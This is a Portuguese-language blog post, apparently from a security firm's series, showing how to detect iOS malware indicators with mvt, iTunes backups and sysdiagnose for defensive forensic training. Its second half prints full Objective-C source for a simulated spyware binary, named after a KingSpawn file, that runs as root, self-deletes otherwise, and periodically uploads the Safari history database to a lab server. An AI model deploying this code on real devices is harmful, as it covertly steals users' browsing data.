No primeiro parte da detecção de malware do iOS como parte da nossa série sobre análise de malware móvel, cobrimos como coletar artefatos forenses, o que usar para fazer a análise e quais são alguns arquivos interessantes no iOS. Nesta parte, simularemos alguns IOCs (Indicadores de Compromisso) para ver como procurá-los.
A primeira parte se concentrará em abrir alguns links e pesquisar por eles usando diferentes métodos (dump do sistema de arquivos, backup e sysdiagnose), enquanto a segunda parte será focada na criação de um binário que foi usado anteriormente por malware.
Vamos usar o mvt com dump do sistema de arquivos bem como com o backup. Além disso, veremos como procurar as mesmas informações usando o dump sysdiagnose.
Visitar URLs maliciosas
Para simular, visitaremos alguns links que são indicadores do Pegasus e podem ser vistos dentro do arquivo stix2 de Pegasus que o mvt contém.
Os URLs que usaremos:
mvt
Antes de prosseguir com qualquer um desses dois métodos, precisamos primeiro baixar IOCs para o mvt. Podemos fazer isso usando o comando mvt-ios download-iocs.
Pode-se ver que baixamos IOCs para malware como Operação Triangulação, KingSpawn e Pegasus.
Dump do sistema de arquivos
O primeiro método que usaremos é o dump do sistema de arquivos. Podemos usar ssh para fazer o dump do sistema de arquivos seguido por mvt-ios check-fs para analisar o dump.
Após a conclusão do dump do sistema de arquivos, criamos um diretório e extraímos o dump do sistema de arquivos para esse diretório.
Tudo que precisamos fazer agora é executar mvt-ios check-fs contra este diretório junto com o diretório onde o mvt armazenará sua saída (-o flag).

Assim que o mvt começou, podemos ver que ele carregou todos os IOCs baixados anteriormente. Um pouco mais abaixo na saída, vemos que ele correspondiu ao URL http://youintelligence.com contra o nome de domínio indicador youintelligence.com do Pegasus nos registros dentro do banco de dados Favicons.db.

A seguir, o mvt extraiu os registros do arquivo History.db, que é o histórico do Safari.

Pode-se ver que o mvt realmente encontrou todos esses URLs maliciosos conhecidos como IOC para malware Pegasus. Uma vez que o mvt termina, podemos ir ao diretório passado com a flag output e examinar seu conteúdo. Um dos arquivos mais úteis lá é timeline_detected.csv, que contém a linha do tempo cronológica de todos os IOCs correspondidos.

Backup do iTunes
No caso em que o dispositivo não está jailbroken, podemos usar backups para analisá-los. Podemos usar Finder para fazer backup do dispositivo ou podemos usar idevicebackup2 do libimobiledevice para fazer o backup.
Uma coisa que devemos manter em mente é que os backups criptografados fornecem mais cobertura, então devemos nos esforçar por isso.
Para criar o backup criptografado usamos idevicebackup2 encryption on PASSWORD para ligar a criptografia.

Uma vez que a criptografia é ativada, podemos começar o backup com idevicebackup2 backup --full PATH_TO_OUTPUT_DIRECTORY. O diretório de saída precisa ser criado antes de iniciar o backup real.



Agora que temos o backup descriptografado, podemos analisá-lo usando mvt-ios check-backup.


Depois das informações normais do mvt, podemos ver que encontrou os mesmos IOCs como no caso com o dump de sistema de arquivos. Também temos a mesma criação de arquivo timeline_detected.csv dentro da pasta de resultados.

Há mais arquivos nessa pasta, como no caso do dump de sistema de arquivos e se estivermos analisando atividades potencialmente maliciosas, vale a pena verificar todos eles.
sysdiagnose
A terceira maneira que podemos usar é através de sysdiagnose. Sysdiagnose é uma forma nativa de coletar logs do dispositivo.
Pode-se disparar os logs sysdiagnose para serem coletados usando a combinação de teclas (pressionando juntas Volume Up + Volume Down + botão Power). Leva alguns minutos para que os logs sysdiagnose sejam gerados.
Assim que o sysdiagnose terminar, podemos usar ipsw idev crash pull para puxar os logs sysdiagnose. Precisamos obter o nome do log sysdiagnose primeiro, podemos fazer isso usando o comando ipsw idev crash ls.

Depois de obter o nome, apenas passamos para ipsw idev crash pull.

Assim que os logs são baixados, podemos extrair o arquivo e começar a analisá-lo.

Vamos pesquisar em todos os arquivos presentes nos logs sysdiagnose, mas não encontraremos nenhuma das IOCs de URL. A razão para isso é que o sysdiagnose não contém dados do usuário e a história do navegador e URLs visitadas pertencem aos dados do usuário, não ao sistema.

Como podemos ver, nenhum único match foi encontrado para esses indicadores de URL. O sysdiagnose é uma ferramenta ótima, mas seu principal inconveniente é que não contém dados do usuário.
Isto marca o fim da análise das URLs maliciosas, vamos mover para a simulação de um binário malicioso e ver como caçar por isso e mostrar que o sysdiagnose pode ser útil nisso.
Executando binário malicioso
No parágrafo anterior, vimos como procurar IOCs de URL e que tanto o dump do sistema de arquivos quanto o backup do iTunes contêm eles. O sysdiagnose não tinha porque ele não contém dados do usuário.
Agora criaremos um binário com o mesmo nome usado em uma das amostras conhecidas de malware.
O binário será simples e terá as seguintes funcionalidades:
- chamaremos ele subridged e colocaremos na pasta
/private/var/db/com.apple.xpc.roleaccountd.staging/, como foi usado no KingSpawn - será executado como usuário
root; caso contrário, apaga-se automaticamente - edita /etc/hosts para que resolva nosso endereço MAC em vez de usar DNS
- dump periodicamente o arquivo
History.dbe envia-o para8ksecmail.io(que aponta para nosso próprio IP do Mac)
#include <stdio.h>
#import <Foundation/Foundation.h>
#include "base64.h"
#define TARGET "/private/var/mobile/Library/Safari/History.db"
int clean(char *);
int main(int argc, char **argv)
{
// check if we are root and exit if we are not
if (getuid() != 0) {
return clean(argv[0]);
}
FILE * f;
for (;;) {
f = fopen(TARGET, "rb");
if (f == NULL) {
return clean(argv[0]);
}
size_t sz;
fseek(f, 0, SEEK_END);
sz = ftell(f);
fseek(f, 0, SEEK_SET);
char * content = (char*)malloc(sz+1);
fread(content, sz, 1, f);
fclose(f);
char * dest = (char*)malloc(sz*2);
Base64encode(dest, content, sz);
NSMutableURLRequest *urlRequest = [[NSMutableURLRequest alloc] initWithURL:[NSURL URLWithString:@"http://192.168.100.62/history"]];
NSString *postData = [NSString stringWithFormat:@"history=%s", dest];
[urlRequest setHTTPMethod:@"POST"];
NSData *data1 = [postData dataUsingEncoding:NSUTF8StringEncoding];
[urlRequest setHTTPBody:data1];
NSURLSession *session = [NSURLSession sharedSession];
NSURLSessionDataTask *dataTask = [session dataTaskWithRequest:urlRequest completionHandler:^(NSData *data, NSURLResponse *response, NSError *error) {
}];
[dataTask resume];
free(content); free(dest);
sleep(300);
}
return 0;
}
int clean(char *p)
{
remove(p);
return 1;
}
Para simular o servidor web, usaremos a seguinte resposta HTTP e usaremos netcat para servi-la:
HTTP/1.1 200 OK
Server: 8ksec
Content-Type: text/html; charset=UTF-8
8ksecmal.io
Bem-vindo ao 8ksecmal.io
Depois que o binário tiver entrado em contato conosco com sucesso, veremos a representação base64 do arquivo History.db sendo enviado para nós.

Análise com mvt
Backup do sistema de arquivos e backup via iTunes
Já que já cobrimos como fazer o backup do sistema de arquivos e backup via iTunes, vamos pular diretamente para a análise.
Comando: mvt-ios check-fs ./dump/ -o /tmp/mvt-fs
Uma vez que o sistema de arquivos tenha sido carregado, podemos ver que o binário malicioso que criamos e colocamos no local foi identificado como um IOC do KingSpawn, o que é excelente.

Abrindo a visualização do arquivo Cache.db para o subridged, podemos ver o endereço IP para onde a solicitação HTTP foi feita, bem como a resposta que recebeu.

Agora podemos prosseguir para obter o binário e fazer uma análise mais aprofundada nele.
Vamos agora fazer o mesmo contra o arquivo de backup.
Comando: mvt-ios check-backup /tmp/mvt-decrypted-backup -o /tmp/mvt-for-backup

O que podemos ver é que o backup não encontrou correspondência para nosso binário

Conclusão
Isso marca o fim da nossa segunda postagem de blog sobre a detecção de malware iOS como parte da nossa série sobre Malware Móvel. Vimos como podemos utilizar mvt (tanto um dump do sistema de arquivos em dispositivos jailbreakados quanto uma cópia de backup do iTunes em dispositivos não jailbreakados) bem como o sysdiagnose que pode ser usado em ambos. Como você pode ver, cada um desses três tem suas vantagens e desvantagens e a escolha depende das possibilidades, por exemplo, às vezes você não pode fazer jailbreak no dispositivo e precisa recorrer à cópia de backup do iTunes e ao sysdiagnose que, em algumas ocasiões, podem deixar passar alguns artefatos úteis.

